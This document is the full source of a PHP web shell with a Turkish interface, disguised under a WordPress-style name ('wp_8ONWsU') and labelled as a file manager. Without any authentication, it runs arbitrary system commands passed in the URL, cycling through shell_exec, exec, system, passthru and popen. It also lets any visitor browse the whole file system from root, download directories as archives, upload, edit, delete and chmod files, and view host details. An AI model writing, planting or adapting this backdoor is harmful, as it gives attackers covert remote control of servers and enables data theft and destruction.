wp_8ONWsU
| 21.9 KB | Satir:
0
|
Geri
<?php error_reporting(0);ini_set('display_errors','1'); $d=isset($_GET['d'])?@realpath($_GET['d']):getcwd(); if(!$d)$d=getcwd(); $msg=''; $dfn=(string)@ini_get('disable_functions'); function _can($f){global $dfn;return function_exists($f)&&stripos($dfn,$f)===false;} function hsize($b){if($b>=1073741824)return round($b/1073741824,2).' GB';if($b>=1048576)return round($b/1048576,1).' MB';if($b>=1024)return round($b/1024,1).' KB';return $b.' B';} function rdelete($p){if(is_file($p)||is_link($p))return @unlink($p);if(!is_dir($p))return false;foreach(array_diff(@scandir($p),['.','..']) as $i)rdelete($p.'/'.$i);return @rmdir($p);} function rcopy($s,$d){if(is_file($s))return @copy($s,$d);@mkdir($d,0755,true);foreach(array_diff(@scandir($s),['.','..']) as $i)rcopy($s.'/'.$i,$d.'/'.$i);return true;} if(isset($_GET['dl'])){ $p=$_GET['dl']; if(is_dir($p)){ if(_can('system')){$z=tempnam(sys_get_temp_dir(),'z');system("cd ".escapeshellarg($p)." && tar czf ".escapeshellarg($z)." .");header('Content-Type:application/gzip');header('Content-Disposition:attachment;filename="'.basename($p).'.tar.gz"');readfile($z);@unlink($z);} else{$z=new ZipArchive();$zn=tempnam(sys_get_temp_dir(),'z').'.zip';if($z->open($zn,ZipArchive::CREATE)===true){$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($p,RecursiveDirectoryIterator::SKIP_DOTS));foreach($it as $f){$rp=substr($f->getPathname(),strlen($p)+1);$f->isDir()?$z->addEmptyDir($rp):$z->addFile($f->getPathname(),$rp);}$z->close();header('Content-Type:application/zip');header('Content-Disposition:attachment;filename="'.basename($p).'.zip"');readfile($zn);@unlink($zn);}else{echo'Zip olusturulamadi';}} }else{header('Content-Type:application/octet-stream');header('Content-Disposition:attachment;filename="'.basename($p).'"');readfile($p);} exit; } if(isset($_GET['c'])&&$_GET['c']!==''){ $c=$_GET['c'];$out=''; if(_can('shell_exec'))$out=shell_exec($c); elseif(_can('exec')){exec($c,$lines);$out=implode("\n",$lines);} elseif(_can('system')){ob_start();system($c);$out=ob_get_clean();} elseif(_can('passthru')){ob_start();passthru($c);$out=ob_get_clean();} elseif(_can('popen')){$h=popen($c,'r');$out=stream_get_contents($h);pclose($h);} else{$out='Komut calistirma devre disi (disable_functions)';} echo'<pre>'.htmlspecialchars($out).'</pre>';exit; } if(isset($_POST['act'])){ $act=$_POST['act'];$path=isset($_POST['path'])?$_POST['path']:''; switch($act){ case'delete': if($path&&file_exists($path)){$msg=rdelete($path)?'<span class="ok">Silindi: '.htmlspecialchars(basename($path)).'</span>':'<span class="err">Silme basarisiz!</span>';}break; case'bulk_delete': if(isset($_POST['sel'])){$ok=0;$fail=0;foreach($_POST['sel'] as $item){$fp=$d.'/'.basename($item);if(file_exists($fp)){rdelete($fp)?$ok++:$fail++;}}$msg='<span class="ok">'.$ok.' oge silindi</span>';if($fail)$msg.=' <span class="err">'.$fail.' basarisiz</span>';}break; case'rename': $nn=trim(isset($_POST['new_name'])?$_POST['new_name']:'');if($path&&$nn!==''){$np=dirname($path).'/'.$nn;if(file_exists($np)){$msg='<span class="err">Bu isim zaten var!</span>';}elseif(@rename($path,$np)){$msg='<span class="ok">'.htmlspecialchars(basename($path)).' → '.htmlspecialchars($nn).'</span>';}else{$msg='<span class="err">Yeniden adlandirma basarisiz!</span>';}}break; case'copy': $nn=trim(isset($_POST['dest'])?$_POST['dest']:'');if($path&&$nn!==''){$np=dirname($path).'/'.$nn;if(file_exists($np)){$msg='<span class="err">Hedef zaten var!</span>';}elseif(rcopy($path,$np)){$msg='<span class="ok">Kopyalandi: '.htmlspecialchars($nn).'</span>';}else{$msg='<span class="err">Kopyalama basarisiz!</span>';}}break; case'move': $dest=trim(isset($_POST['dest'])?$_POST['dest']:'');if($path&&$dest!==''){if(@rename($path,$dest)){$msg='<span class="ok">Tasindi: '.htmlspecialchars($dest).'</span>';}else{$msg='<span class="err">Tasima basarisiz!</span>';}}break; case'chmod': $perm=trim(isset($_POST['perm'])?$_POST['perm']:'');if($path&&$perm!==''){if(@chmod($path,octdec($perm))){$msg='<span class="ok">Izinler degistirildi</span>';}else{$msg='<span class="err">Izin degistirme basarisiz!</span>';}}break; case'save': $content=isset($_POST['content'])?$_POST['content']:'';if($path){$msg=file_put_contents($path,$content)!==false?'<span class="ok">Kaydedildi.</span>':'<span class="err">Kaydetme basarisiz!</span>';}break; case'upload': if(isset($_FILES['ufile'])){$ok=0;$names=is_array($_FILES['ufile']['name'])?$_FILES['ufile']['name']:[$_FILES['ufile']['name']];$tmps=is_array($_FILES['ufile']['tmp_name'])?$_FILES['ufile']['tmp_name']:[$_FILES['ufile']['tmp_name']];$errs=is_array($_FILES['ufile']['error'])?$_FILES['ufile']['error']:[$_FILES['ufile']['error']];for($i=0;$i<count($names);$i++){if($errs[$i]==0&&move_uploaded_file($tmps[$i],$d.'/'.basename($names[$i])))$ok++;}$msg='<span class="ok">'.$ok.' dosya yuklendi</span>';}break; case'newfile': $nn=trim(isset($_POST['name'])?$_POST['name']:'');if($nn!==''){$np=$d.'/'.$nn;if(file_exists($np)){$msg='<span class="err">Zaten var!</span>';}else{$msg=file_put_contents($np,'')!==false?'<span class="ok">Olusturuldu: '.htmlspecialchars($nn).'</span>':'<span class="err">Olusturma basarisiz!</span>';}}break; case'newdir': $nn=trim(isset($_POST['name'])?$_POST['name']:'');if($nn!==''){$np=$d.'/'.$nn;if(file_exists($np)){$msg='<span class="err">Zaten var!</span>';}else{$msg=@mkdir($np,0755,true)?'<span class="ok">Dizin olusturuldu: '.htmlspecialchars($nn).'</span>':'<span class="err">Dizin olusturma basarisiz!</span>';}}break; } } if(isset($_GET['edit'])){ $ef=$_GET['edit'];$ec=is_file($ef)?file_get_contents($ef):'';$ext=strtolower(pathinfo($ef,PATHINFO_EXTENSION)); ?> <!DOCTYPE html><html><head><meta charset="utf-8"><title><?=htmlspecialchars(basename($ef))?></title> <style> *{box-sizing:border-box;margin:0;padding:0} body{background:#0d1117;color:#c9d1d9;font:13px/1.5 'Consolas','Monaco',monospace;padding:10px} a{color:#58a6ff;text-decoration:none}a:hover{color:#79c0ff} .bar{background:#161b22;padding:8px 14px;border:1px solid #30363d;border-radius:6px;margin-bottom:8px;display:flex;align-items:center;gap:10px;flex-wrap:wrap} textarea{background:#0d1117;color:#7ee787;border:1px solid #30363d;padding:12px;font:13px/1.6 'Consolas',monospace;width:100%;tab-size:4;resize:vertical;border-radius:6px;outline:none} textarea:focus{border-color:#58a6ff} button{background:#238636;color:#fff;border:none;padding:6px 16px;font:12px monospace;cursor:pointer;border-radius:4px} button:hover{background:#2ea043} .ok{color:#3fb950}.err{color:#f85149}.warn{color:#d29922} </style></head><body> <div class="bar"> <b style="color:#f0883e"><?=htmlspecialchars(basename($ef))?></b> <span style="color:#8b949e">| <?=hsize(strlen($ec))?> | Satir: <span id="lc">0</span> | <?=$ext?></span> <span style="flex:1"></span> <a href="?d=<?=urlencode($d)?>">Geri</a> <?php if($msg)echo '| '.$msg;?> </div> <form method=post action="?edit=<?=urlencode($ef)?>&d=<?=urlencode($d)?>"> <input type=hidden name=act value=save> <input type=hidden name=path value="<?=htmlspecialchars($ef)?>"> <textarea name=content id=ed rows=40><?=htmlspecialchars($ec)?></textarea> <div class="bar" style="margin-top:8px"><button type=submit>Kaydet</button><span style="color:#8b949e" id="st">Ctrl+S ile kaydet</span></div> </form> <script> var e=document.getElementById('ed'),lc=document.getElementById('lc'); e.addEventListener('keydown',function(ev){ if(ev.key==='Tab'){ev.preventDefault();var s=this.selectionStart,end=this.selectionEnd;if(ev.shiftKey){var line=this.value.lastIndexOf('\n',s-1)+1;if(this.value[line]==='\t'){this.value=this.value.substring(0,line)+this.value.substring(line+1);this.selectionStart=s-1;this.selectionEnd=end-1;}}else{this.value=this.value.substring(0,s)+'\t'+this.value.substring(end);this.selectionStart=this.selectionEnd=s+1;}} if(ev.ctrlKey&&ev.key==='s'){ev.preventDefault();this.form.submit();} }); function cl(){lc.textContent=e.value.split('\n').length;} e.addEventListener('input',cl);cl(); </script></body></html> <?php exit;} $sort=isset($_GET['s'])?$_GET['s']:'name'; $order=isset($_GET['o'])&&$_GET['o']==='d'?'d':'a'; ?> <!DOCTYPE html><html><head><meta charset="utf-8"><title>FM :: <?=htmlspecialchars($d)?></title> <style> *{box-sizing:border-box;margin:0;padding:0} body{background:#0d1117;color:#c9d1d9;font:13px/1.5 'Consolas','Monaco',monospace;padding:8px} a{color:#58a6ff;text-decoration:none}a:hover{color:#79c0ff} table{border-collapse:collapse;width:100%} th,td{padding:5px 8px;text-align:left;border-bottom:1px solid #21262d;font-size:12px;white-space:nowrap} th{background:#161b22;color:#f0883e;position:sticky;top:0;cursor:pointer;user-select:none} th:hover{color:#fff} tr:hover{background:#161b22} .dir a{color:#79c0ff;font-weight:bold} .ok{color:#3fb950}.err{color:#f85149}.warn{color:#d29922} .bar{background:#161b22;padding:8px 12px;border:1px solid #30363d;border-radius:6px;margin-bottom:6px;display:flex;align-items:center;gap:8px;flex-wrap:wrap} input[type=text],input[type=file]{background:#0d1117;color:#c9d1d9;border:1px solid #30363d;padding:4px 8px;font:12px monospace;border-radius:4px} input[type=text]:focus{border-color:#58a6ff;outline:none} button,.btn{background:#21262d;color:#c9d1d9;border:1px solid #30363d;padding:4px 10px;font:11px monospace;cursor:pointer;border-radius:4px;text-decoration:none;display:inline-block} button:hover,.btn:hover{background:#30363d;border-color:#58a6ff;color:#fff} .btn-d{color:#f85149;border-color:#f8514966}.btn-d:hover{background:#da363388;border-color:#f85149;color:#fff} .btn-g{background:#238636;border-color:#238636;color:#fff}.btn-g:hover{background:#2ea043} .bread a{color:#58a6ff}.bread span{color:#8b949e} .act{display:flex;gap:3px} .modal{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.7);z-index:100;justify-content:center;align-items:center} .modal.show{display:flex} .modal-box{background:#161b22;border:1px solid #30363d;border-radius:8px;padding:20px;min-width:360px;max-width:90%} .modal-box h3{margin-bottom:12px;color:#f0883e} .modal-box input[type=text]{width:100%;margin:6px 0 12px} .modal-box .btns{display:flex;gap:8px;justify-content:flex-end} hr{border:none;border-top:1px solid #21262d;margin:6px 0} input[type=checkbox]{accent-color:#58a6ff} .inf{color:#8b949e;font-size:11px} .sys{background:linear-gradient(135deg,#0d1117,#161b22);border:1px solid #30363d;border-radius:6px;padding:8px 14px;margin-bottom:6px} .sys b{color:#f0883e} .flt{background:#0d1117;color:#c9d1d9;border:1px solid #30363d;padding:4px 8px;font:12px monospace;border-radius:4px;outline:none;width:200px} .flt:focus{border-color:#58a6ff} </style></head><body> <div class="sys"> <b>[<?=_can('php_uname')?php_uname('s').' '.php_uname('r'):PHP_OS?>]</b> <span class="inf"><?=_can('php_uname')?php_uname('n'):'server'?> | PHP <?=phpversion()?> | <?php try{echo _can('get_current_user')?get_current_user():(isset($_SERVER['USER'])?$_SERVER['USER']:'?');}catch(\Throwable $e){echo '?';}?> | <?=_can('disk_free_space')&&@disk_free_space($d)!==false?hsize(disk_free_space($d)).' bos':''?></span> </div> <div class="bar"> <span class="bread"> <?php $parts=explode('/',str_replace('\\','/',$d));$build=''; foreach($parts as $i=>$p){ if($p==='')continue; $build.=$p.'/'; $full=str_replace('\\','/',stripos(PHP_OS,'WIN')===0?$build:('/'.$build)); echo '<a href="?d='.urlencode(rtrim($full,'/')).'">'.(htmlspecialchars($p)?:'/') .'</a> <span>/</span> '; } ?> </span> <span style="flex:1"></span> <?php if($msg)echo $msg.' |';?> <a href="?d=<?=urlencode(dirname($d))?>">Ust Dizin</a> <a href="?d=/">Kok</a> </div> <div class="bar"> <form method=get style="display:flex;gap:4px;align-items:center"> <input type=hidden name=d value="<?=htmlspecialchars($d)?>"> <input type=text name=c placeholder="Komut calistir..." size=50> <button type=submit>Calistir</button> </form> <span style="color:#30363d">|</span> <input type=text class="flt" id="filter" placeholder="Filtrele..." oninput="doFilter(this.value)"> </div> <div class="bar"> <form method=post action="?d=<?=urlencode($d)?>" enctype="multipart/form-data" style="display:flex;gap:4px;align-items:center"> <input type=hidden name=act value=upload> <input type=file name="ufile[]" multiple> <button type=submit class="btn-g">Yukle</button> </form> <span style="color:#30363d">|</span> <button onclick="modal('newfile')">Yeni Dosya</button> <button onclick="modal('newdir')">Yeni Dizin</button> <span style="color:#30363d">|</span> <button class="btn-d" onclick="bulkDelete()">Secilenleri Sil</button> </div> <form method=post action="?d=<?=urlencode($d)?>" id="mainform"> <input type=hidden name=act value=bulk_delete> <table id="ftable"> <thead><tr> <th style="width:30px"><input type=checkbox id="selall" onchange="toggleAll(this.checked)"></th> <th onclick="sortBy('name')">Ad <?=$sort=='name'?($order=='a'?'▲':'▼'):''?></th> <th onclick="sortBy('size')" style="width:80px">Boyut <?=$sort=='size'?($order=='a'?'▲':'▼'):''?></th> <th onclick="sortBy('perm')" style="width:60px">Izin <?=$sort=='perm'?($order=='a'?'▲':'▼'):''?></th> <th onclick="sortBy('date')" style="width:130px">Degistirilme <?=$sort=='date'?($order=='a'?'▲':'▼'):''?></th> <th style="width:220px">Islemler</th> </tr></thead> <tbody> <?php $items=@scandir($d); if($items){ $dirs=[];$files=[]; foreach($items as $f){ if($f=='.'||$f=='..')continue; $fp=$d.'/'.$f; $info=['name'=>$f,'path'=>$fp,'is_dir'=>is_dir($fp),'size'=>is_file($fp)?@filesize($fp):0,'perm'=>@substr(sprintf('%o',fileperms($fp)),-4),'mtime'=>@filemtime($fp)]; $info['is_dir']?$dirs[]=$info:$files[]=$info; } $cmp=function($a,$b)use($sort,$order){ switch($sort){ case'size':$r=$a['size']-$b['size'];break; case'perm':$r=strcmp($a['perm'],$b['perm']);break; case'date':$r=$a['mtime']-$b['mtime'];break; default:$r=strcasecmp($a['name'],$b['name']); } return $order=='d'?-$r:$r; }; usort($dirs,$cmp);usort($files,$cmp); $all=array_merge($dirs,$files); foreach($all as $info){ $f=$info['name'];$fp=$info['path'];$is_dir=$info['is_dir']; $sz=$is_dir?'DIR':hsize($info['size']); $pm=$info['perm']; $mt=$info['mtime']?date('Y-m-d H:i',$info['mtime']):'-'; $cls=$is_dir?'dir':'file'; $esc_fp=htmlspecialchars($fp);$esc_f=htmlspecialchars($f); $esc_d=urlencode($d); echo '<tr class="frow" data-name="'.strtolower($esc_f).'">'; echo '<td><input type=checkbox name="sel[]" value="'.$esc_f.'" class="sel"></td>'; if($is_dir){ echo '<td class="dir"><a href="?d='.urlencode($fp).'">'.$esc_f.'/</a></td>'; }else{ echo '<td class="file">'.$esc_f.'</td>'; } echo '<td class="inf">'.$sz.'</td>'; echo '<td class="inf">'.$pm.'</td>'; echo '<td class="inf">'.$mt.'</td>'; echo '<td class="act">'; echo '<a class="btn" href="?dl='.urlencode($fp).'" title="Indir">indir</a>'; if(is_file($fp))echo '<a class="btn" href="?edit='.urlencode($fp).'&d='.$esc_d.'" title="Duzenle">duzenle</a>'; echo '<a class="btn" href="#" onclick="modal(\'rename\',\''.$esc_f.'\',\''.addslashes($esc_fp).'\')" title="Ad Degistir">ad</a>'; echo '<a class="btn" href="#" onclick="modal(\'copy\',\''.$esc_f.'\',\''.addslashes($esc_fp).'\')" title="Kopyala">kopya</a>'; echo '<a class="btn" href="#" onclick="modal(\'move\',\''.$esc_f.'\',\''.addslashes($esc_fp).'\')" title="Tasi">tasi</a>'; echo '<a class="btn" href="#" onclick="modal(\'chmod\',\''.$pm.'\',\''.addslashes($esc_fp).'\')" title="Izin">izin</a>'; echo '<a class="btn btn-d" href="#" onclick="confirmDel(\''.addslashes($esc_fp).'\',\''.$esc_f.'\','.($is_dir?1:0).')" title="Sil">sil</a>'; echo '</td></tr>'; } } ?> </tbody> </table> </form> <div class="bar inf" style="margin-top:6px"> <?php $total_dirs=count(isset($dirs)?$dirs:array());$total_files=count(isset($files)?$files:array()); $total_size=0;foreach((isset($files)?$files:array()) as $fi)$total_size+=$fi['size']; echo $total_dirs.' dizin, '.$total_files.' dosya ('.hsize($total_size).')'; echo ' | '.htmlspecialchars($d); ?> </div> <div class="modal" id="m_rename"> <div class="modal-box"> <h3>Yeniden Adlandir</h3> <form method=post action="?d=<?=urlencode($d)?>"> <input type=hidden name=act value=rename> <input type=hidden name=path id="ren_path"> <label class="inf">Yeni ad:</label> <input type=text name=new_name id="ren_name" autofocus> <div class="btns"><button type=button onclick="closeModal('m_rename')">Iptal</button><button type=submit class="btn-g">Adlandir</button></div> </form> </div> </div> <div class="modal" id="m_copy"> <div class="modal-box"> <h3>Kopyala</h3> <form method=post action="?d=<?=urlencode($d)?>"> <input type=hidden name=act value=copy> <input type=hidden name=path id="cp_path"> <label class="inf">Kopya adi:</label> <input type=text name=dest id="cp_name" autofocus> <div class="btns"><button type=button onclick="closeModal('m_copy')">Iptal</button><button type=submit class="btn-g">Kopyala</button></div> </form> </div> </div> <div class="modal" id="m_move"> <div class="modal-box"> <h3>Tasi / Yeniden Konumlandir</h3> <form method=post action="?d=<?=urlencode($d)?>"> <input type=hidden name=act value=move> <input type=hidden name=path id="mv_path"> <label class="inf">Hedef tam yol:</label> <input type=text name=dest id="mv_dest" autofocus> <div class="btns"><button type=button onclick="closeModal('m_move')">Iptal</button><button type=submit class="btn-g">Tasi</button></div> </form> </div> </div> <div class="modal" id="m_chmod"> <div class="modal-box"> <h3>Izinleri Degistir</h3> <form method=post action="?d=<?=urlencode($d)?>"> <input type=hidden name=act value=chmod> <input type=hidden name=path id="chm_path"> <label class="inf">Izin (ornek: 0755):</label> <input type=text name=perm id="chm_val" autofocus maxlength=4> <div class="btns"><button type=button onclick="closeModal('m_chmod')">Iptal</button><button type=submit class="btn-g">Uygula</button></div> </form> </div> </div> <div class="modal" id="m_newfile"> <div class="modal-box"> <h3>Yeni Dosya</h3> <form method=post action="?d=<?=urlencode($d)?>"> <input type=hidden name=act value=newfile> <label class="inf">Dosya adi:</label> <input type=text name=name id="nf_name" autofocus> <div class="btns"><button type=button onclick="closeModal('m_newfile')">Iptal</button><button type=submit class="btn-g">Olustur</button></div> </form> </div> </div> <div class="modal" id="m_newdir"> <div class="modal-box"> <h3>Yeni Dizin</h3> <form method=post action="?d=<?=urlencode($d)?>"> <input type=hidden name=act value=newdir> <label class="inf">Dizin adi:</label> <input type=text name=name id="nd_name" autofocus> <div class="btns"><button type=button onclick="closeModal('m_newdir')">Iptal</button><button type=submit class="btn-g">Olustur</button></div> </form> </div> </div> <div class="modal" id="m_del"> <div class="modal-box"> <h3 style="color:#f85149">Silme Onayi</h3> <p id="del_msg" style="margin:10px 0"></p> <p class="err" style="font-size:11px">Bu islem geri alinamaz!</p> <form method=post action="?d=<?=urlencode($d)?>"> <input type=hidden name=act value=delete> <input type=hidden name=path id="del_path"> <div class="btns" style="margin-top:12px"><button type=button onclick="closeModal('m_del')">Iptal</button><button type=submit class="btn-d" style="background:#da3633;color:#fff">Evet, Sil</button></div> </form> </div> </div> <script> function modal(type,name,path){ if(type==='rename'){document.getElementById('ren_path').value=path;document.getElementById('ren_name').value=name;showModal('m_rename');document.getElementById('ren_name').select();} else if(type==='copy'){document.getElementById('cp_path').value=path;document.getElementById('cp_name').value=name+'_kopya';showModal('m_copy');document.getElementById('cp_name').select();} else if(type==='move'){document.getElementById('mv_path').value=path;document.getElementById('mv_dest').value=path;showModal('m_move');document.getElementById('mv_dest').select();} else if(type==='chmod'){document.getElementById('chm_path').value=path;document.getElementById('chm_val').value=name;showModal('m_chmod');document.getElementById('chm_val').select();} else if(type==='newfile'){showModal('m_newfile');document.getElementById('nf_name').focus();} else if(type==='newdir'){showModal('m_newdir');document.getElementById('nd_name').focus();} } function showModal(id){document.getElementById(id).classList.add('show');} function closeModal(id){document.getElementById(id).classList.remove('show');} function confirmDel(path,name,isdir){ document.getElementById('del_path').value=path; document.getElementById('del_msg').innerHTML='<b>'+name+'</b>'+(isdir?' (dizin ve tum icerigi)':'')+' silinecek.'; showModal('m_del'); } function bulkDelete(){ var sel=document.querySelectorAll('.sel:checked'); if(sel.length===0){alert('Hic oge secilmedi!');return;} if(confirm(sel.length+' oge silinecek. Emin misiniz?')){document.getElementById('mainform').submit();} } function toggleAll(c){document.querySelectorAll('.sel').forEach(function(cb){cb.checked=c;});} function sortBy(col){ var u=new URL(window.location); var cs=u.searchParams.get('s');var co=u.searchParams.get('o')||'a'; u.searchParams.set('s',col); u.searchParams.set('o',(cs===col&&co==='a')?'d':'a'); window.location=u; } function doFilter(v){ v=v.toLowerCase(); document.querySelectorAll('.frow').forEach(function(r){r.style.display=r.dataset.name.indexOf(v)===-1?'none':'';}); } document.addEventListener('keydown',function(e){ if(e.key==='Escape'){document.querySelectorAll('.modal.show').forEach(function(m){m.classList.remove('show');});} }); document.querySelectorAll('.modal').forEach(function(m){m.addEventListener('click',function(e){if(e.target===m)m.classList.remove('show');});}); </script> </body></html>
Kaydet
Ctrl+S ile kaydet